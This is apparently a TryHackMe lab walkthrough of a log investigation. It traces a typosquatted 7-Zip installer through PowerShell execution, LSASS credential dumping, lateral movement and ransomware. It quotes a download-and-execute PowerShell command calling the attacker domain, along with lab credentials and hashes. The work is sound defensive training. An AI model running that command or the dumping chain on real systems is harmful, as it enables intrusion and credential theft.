Hunt Me II: Typo Squatters
TryHackMe Challenge Walkthrough
Challenge Overview
Just working on a typical day as a software engineer, Perry received an encrypted 7z archive from his boss containing a snippet of a source code that must be completed within the day. Realising that his current workstation does not have an application that can unpack the file, he spins up his browser and starts to search for software that can aid in accessing the file. Without validating the resource, Perry immediately clicks the first search engine result and installs the application.
Last September 26, 2023, one of the security analysts observed something unusual on the workstation owned by Perry based on the generated endpoint and network logs. Given this, your SOC lead has assigned you to conduct an in-depth investigation on this workstation and assess the impact of the potential compromise.
Threat Analysis Summary
Analyst Summary Report
Incident Title
Typosquatted Software Installer Leads to Domain Compromise
Category
Credential Access, Lateral Movement, Ransomware
Detection Source
Sysmon, PowerShell Logs, Security Event Logs
Impact
Domain-wide compromise and ransomware deployment
Investigation Workflow
- Identified the initial infection vector: drive-by download from a typosquatted domain
- Reconstructed the execution chain using PowerShell logs and process relationships
- Confirmed credential dumping and parsing via NanoDump and PowerExtract
- Tracked lateral movement through process IDs, account switches, and hostnames
- Determined ransomware impact by correlating file creation events with bomb.exe execution
Recommendations
- Implement DNS filtering and block access to typosquatted and suspicious domains
- Enforce application allowlisting and restrict unsigned installers
- Deploy Endpoint Detection & Response (EDR) tools to catch memory dumping behaviors
- Immediately rotate credentials and reset compromised user and domain admin accounts
Lesson Learned
- Typosquatting remains a dangerous and low-effort access vector
- Users need awareness training around validating software sources
- Early detection through PowerShell logging can break the attack chain
- Process and parent process IDs are critical for tracing multi-step attacks
- DNS logs can expose malicious infrastructure before payloads execute
- Credential harvesting often follows memory dump + parsing tool combinations – look for both
- Ransomware is often the last move — stopping the attacker early is the only true mitigation
Tools Used
- Elastic Security/Kibana
- CyberChef
- MITRE ATT&CK Navigator
Key Evidences
- event.code: 15 – Revealed initial .msi file from typosquatted domain
- event.code: 22 – Resolved malicious domain to attacker IP
- event.code: 1 – Process creation chain from msiexec.exe to PowerShell to service execution
- PowerShell logs (800/4103) – Showed payload execution, credential dumping, and lateral movement
- process.command_line – Full command line values exposed attack steps
- dns.question.name / dns.answer.data – Correlated domain and IP of C2 infrastructure
- host.hostname + user.name – Mapped lateral movement and privilege escalation
- File creation events – Identified bomb.exe ransomware activity and impact scope
Chain Attack Overview
Initial Access
User downloaded malicious software from a typosquatted doamin (7zipp.org)
Execution
Malicious .msi file executed (msiexe.exe) followed by PowerShell execution of 7z.ps1
Persistence
Fake service 7zService installed and registered via sc.exe
Privilege Escalation
Service executed under SYSTEM, allowing privilege escalation
Defense Evasion
Obfuscated PowerShell scripts used (Invoke-NanoDump, Invoke-PowerExtract)
Discovery
Recon via PowerView.ps1, SharpHound, and Get-DomainGroupMember across multiple hosts
Credential Access
LSASS dump via NanoDump, parsed with PowerExtract, followed by Mimikatz execution
Exfiltration
Credentials and hashes used to access other hosts; ransomware deployed across the domain
Command & Control
PowerShell used to download and run scripts, establishing persistent control via C2
Impact
Ransomware (bomb.exe) deployed on multiple systems, 46 files encrypted
MITRE ATT&CK Mapping
Phase
ID
Technique
Description
Initial Access
T1189
Drive-by Compromise
User downloaded a fake 7-zip installer from 7zipp.org
Execution
T1059.001
PowerShell
7z.ps1 and follow-up scripts executed useing PowerShell
Persistence
T1543.003
Create or Modify System Process
7zService installed using sc.ece
Privilege Escalation
T1548.002
Bypass User Account Control
Service ran as SYSTEM, gaining elevated privileges
Discovery
T1087.001
Account Discovery
PowerView, SharpHound, and session mapping scripts
Credential Access
T1003.001
LSASS Memory
Invoke-NanoDump, Mimikatz, and PowerExtract used
Collection
T1005
data from Local System
Credential + session data harvested from multiple hosts
Exfiltration
T1041
Exfiltration Over C2 Channel
Harvested creds reused via C2-enabled PowerShell
C2
T1071.001
Web protocols
Scripts downloaded and executed via HTTP from attacker
Impact
T1486
Data encrypted for Impact
bomb.exe ransomware encrypted files with .777zzz
Reference: [MITRE ATT&CK Navigator] ( https://attack.mitre.org/ )
Q & A
Q1 What is the URL of the malicious software that was downloaded by the victim user?
I started by setting the date to September 26, 2023, and looked at the available log sources using a Lens view on event.provider.keyword. Good news — we’ve got logs from Sysmon, PowerShell, and Security.
Since we know Perry downloaded a suspicious installer, I filtered for event.code: 15 (file stream creation from Sysmon) and scanned for anything that looked shady.
There were only four hits, and one stood out immediately:
7z2301-x64.msi downloaded from a typosquatted domain — 7zipp.org. Classic.
Answer
hxxp[://]www[.]7zipp[.]org/a/7z2301-x64[.]msi
(URL defanged)
Q2 What is the IP address of the domain hosting the malware?
We already know the domain: www.7zipp.org. To resolve it, I filtered for event.code: 22 (DNS query logging) and added fields like dns.question.name and dns.answer.data.
Interesting fields:
– dns.question.name
– dns.answer.data
One of the results showed the expected query for the domain, and right there in dns.answer.data is the attacker’s infrastructure:
Answer
206[.]189[.]34[.]218
Q3 What is the PID of the process that executed the malicious software?
We already identified the malicious file (7z2301-x64.msi), so the next step was to track its execution. I searched for event.code: 1 (process creation) and looked for anything related to MSI installation.
interesting fields:
– event.code
– process.pid
– (process.parent.pid for a wider look)
– process.name
– process.command_line
The installer was run by msiexec.exe, which lines up with a typical .msi execution. The process ID here is 2532.
note:
While scrolling through the timeline from this point, the chain of activity becomes clear:
– A PowerShell script named 7z.ps1 is downloaded soon after the installer runs.
– The attacker uses Expand-Archive to unpack something named m.zip.
– A series of tools are executed: mimikatz.exe for dumping credentials, followed by recon tools like whoami.exe, net.exe, and a download of PowerView.ps1.
– Then we see a lateral move from WKSTN-03 to WKSTN-02, repeating the same pattern: unpack → dump creds → enumerate.
– Finally, bomb.exe is dropped. That’s going to come up later.
All of this activity starts with PID 2532.
Answer
2532
Q4 Following the execution chain of the malicious payload, another remote file was downloaded and executed. What is the full command line value of this suspicious activity?
To track the second-stage payload, I started from the known malicious installer process:
msiexec.exe — PID 2532
From there, I noticed PowerShell was used to download and execute PowerView.ps1 — this activity was tied to PID 4188. I added that PID to my filters and searched with:
keep looking for our chain of event
Kibana Query:
process.pid:(2532 OR 4188) OR process.parent.pid:(2532 OR 4188) AND process.command_line: exists
Next, I saw that PID 4188 was spawned by 3988, so I expanded the search again:
Kibana Query:
process.pid:(2532 OR 3988 OR 4188) OR process.parent.pid:(2532 OR 3988 OR 4188)
Continuing, I found that 3988 was started by 4248, so I added that to the filter as well.
Kibana Query:
process.pid:(2532 OR 3988 OR 4188 OR 4248) OR process.parent.pid:(2532 OR 3988 OR 4188 OR 4248)
And finally, there it was — a PowerShell command that downloaded and executed 7z.ps1 directly from the attacker’s domain using Invoke-WebRequest and iex.
From the same chain, I also spotted another file:
– 7zlegit.exe written to the Temp directory
– sc.exe execution
– Followed by the setup of a service and further persistence
Reconstructed Process Tree
- PID 2532 – msiexec.exe executed 7z2301-x64.msi (inital installer)
- 4248 – powershell.exe – started overall execution chain
- 3988 – powershell.exe – spawned Child powershell for recon
- 4188 – powershell.exe Downloaded and executed power view.ps1
- 4248 – powershell.exe downloaded and ran 7z.ps1
- 992 – 7zlegit.exe – dropped and run as part of second stage script
Answer
powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
Q5 The newly downloaded script also installed the legitimate version of the application. What is the full file path of the legitimate installer?
After 7z.ps1 was downloaded and executed, I checked what files it dropped. One that stood out was 7zlegit.exe, located in the Temp directory.
Reviewing the details, it’s clear this was the actual 7-Zip installer — likely used to make the infection chain look less suspicious.
The original file name was 7zipinstall.exe, and checking the hash on VirusTotal confirmed it’s a clean, legitimate binary (0/72 detections).
Answer
C:\Windows\Temp\7zlegit.exe
Q6 What is the name of the service that was installed?
we already saw in the screenshot before, 7z.ps1 installed the legitimate file and then stared sc.exe
After dropping 7zlegit.exe, the script (7z.ps1) proceeded to install a service using sc.exe. I filtered for process.name: sc.exe and found the relevant entries.
The second event clearly shows the creation of a new service named 7zService.
Answer
7zService
Q7 The attacker was able to establish a C2 connection after starting the implanted service. What is the username of the account that executed the service?
To verify who ran the newly created service (7zService), I filtered for processes with that name and checked the user.name field.
As expected, it was executed under the SYSTEM account — confirming privilege escalation through the service setup.
Answer
SYSTEM
Q8 After dumping LSASS data, the attacker attempted to parse the data to harvest the credentials. What is the name of the tool used by the attacker in this activity?
Looking at the PowerShell activity after the service launch, I spotted two interesting scripts:
– Invoke-NanoDump – used to dump LSASS memory
– Invoke-PowerExtract – used to **parse** the dump
While NanoDump handles the dumping, it’s PowerExtract that actually harvests the credentials from it — and that’s what this question is asking for.
Answer
Invoke-PowerExtract
Q9 What is the credential pair that the attacker leveraged after the credential dumping activity? (format: username:hash)
After parsing the LSASS dump, I kept an eye on the next steps in the PowerShell chain. Scrolling through the logs, I saw:
– SharpHound.ps1 was downloaded for session discovery
– mimikatz.exe was executed
– Then, a credential pair was logged and used
The attacker leveraged the following credentials, likely cracked or parsed from the dump:
Answer
james.cromwell:B852A0B8BD4E00564128E0A5EA2BC4CF
Q10 After gaining access to the new account, the attacker attempted to reset the credentials of another user. What is the new password set to this target account?
Continuing through the timeline, I spotted activity targeting anna.jones. The attacker used both cmd.exe and PowerShell to reset her password.
The new password was clearly visible in the command:
Answer
pwn3dpw!!!
Q11 What is the name of the workstation where the new account was used?
After the password reset, I filtered for events involving the user anna.jones, and checked the host.hostname field to see where the login activity occurred.
interesting fields:
– user.name: anna.jones
– host.hostname
The logs show that her account was used on WKSTN-02.
Answer
WKSTN-02
Q12 After gaining access to the new workstation, a new set of credentials was discovered. What is the username, including its domain, and password of this new account?
we can keep with our new query
Still tracking activity on WKSTN-02, I filtered for events where process.command_line and process.name exist — mainly focusing on PowerShell usage.
with interesting field:
– user.name
– host.hostname
– process.name (supposed to be powershell.exe)
– process.command_line
and we find our new set of credential discovered
One command stood out, showing a hardcoded credential pair being set or used:
-C $username=’SSF\itadmin’; $password=’NoO6@39Sk0!’
Answer
SSF\itadmin:NoO6@39Sk0!
Q13 Aside from mimikatz, what is the name of the PowerShell script used to dump the hash of the domain admin?
After harvesting the new itadmin credentials, the attacker continued with domain recon. I noticed the use of Get-DomainGroupMember, likely to identify high-privilege users like domain admins or recovery accounts (looking specifically for “Domain Admin”or “Domain Administrator” or “AD Recovery” accounts).
Right after that, the script Invoke-SharpKatz.ps1 was executed — a known tool used to extract hashes.
Answer
Invoke-SharpKatz.ps1
Q14 What is the AES256 hash of the domain admin based on the credential dumping output?
Scrolling further through the PowerShell logs, I saw mimikatz being used again — this time on the domain admin account we previously identified (damian.hall).
I searched for the specific hash used (eb1892cb0a163e122bc71be173c66fed) and found two relevant entries. One of them contained the AES256 hash in powershell.command.invocation_details.value.
Answer
f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534
Q15 After gaining domain admin access, the attacker popped ransomware on workstations. How many files were encrypted on all workstations?
Back in Q1, we noticed the attacker dropped a file called bomb.exe — looked suspicious right away.
Later in the chain — specifically when tracking activity involving anna.jones — we see it executed again, likely as part of the final impact phase.
so this bomb.exe is our process
To find how many files were encrypted, I filtered for event.code: 11 (file creation) with the process set to bomb.exe. That gave a clear picture of what the ransomware touched.
interesting fields:
– host.hostname (to see which workstation was involved)
– process.pid
– file.name (to check what happened to the files -> the ransomware added 777zzz at the end of the files)
Looking at the output:
– Files were encrypted across multiple hosts.
– Each file had .777zzz appended, confirming they were modified by the ransomware.
– Total: 46 encrypted files
Answer
46
Conclusion
This whole mess kicked off with a click on a typosquatted 7-Zip site — and spiraled into domain compromise, credential theft, lateral movement, and a not-so-subtle ransomware drop.
From a fake installer to scheduled tasks, from dumping LSASS to flipping domain admin, the attacker pieced together a clean chain using nothing but living-off-the-land tools and some PowerShell gymnastics. Bonus points for installing the legit version of 7-Zip as a decoy. Respect.
It’s a textbook case of how fast an attacker can move once they’ve got execution — and why trusting unknown downloads, skipping EDR, or leaving PowerShell wide open is practically asking for a breach.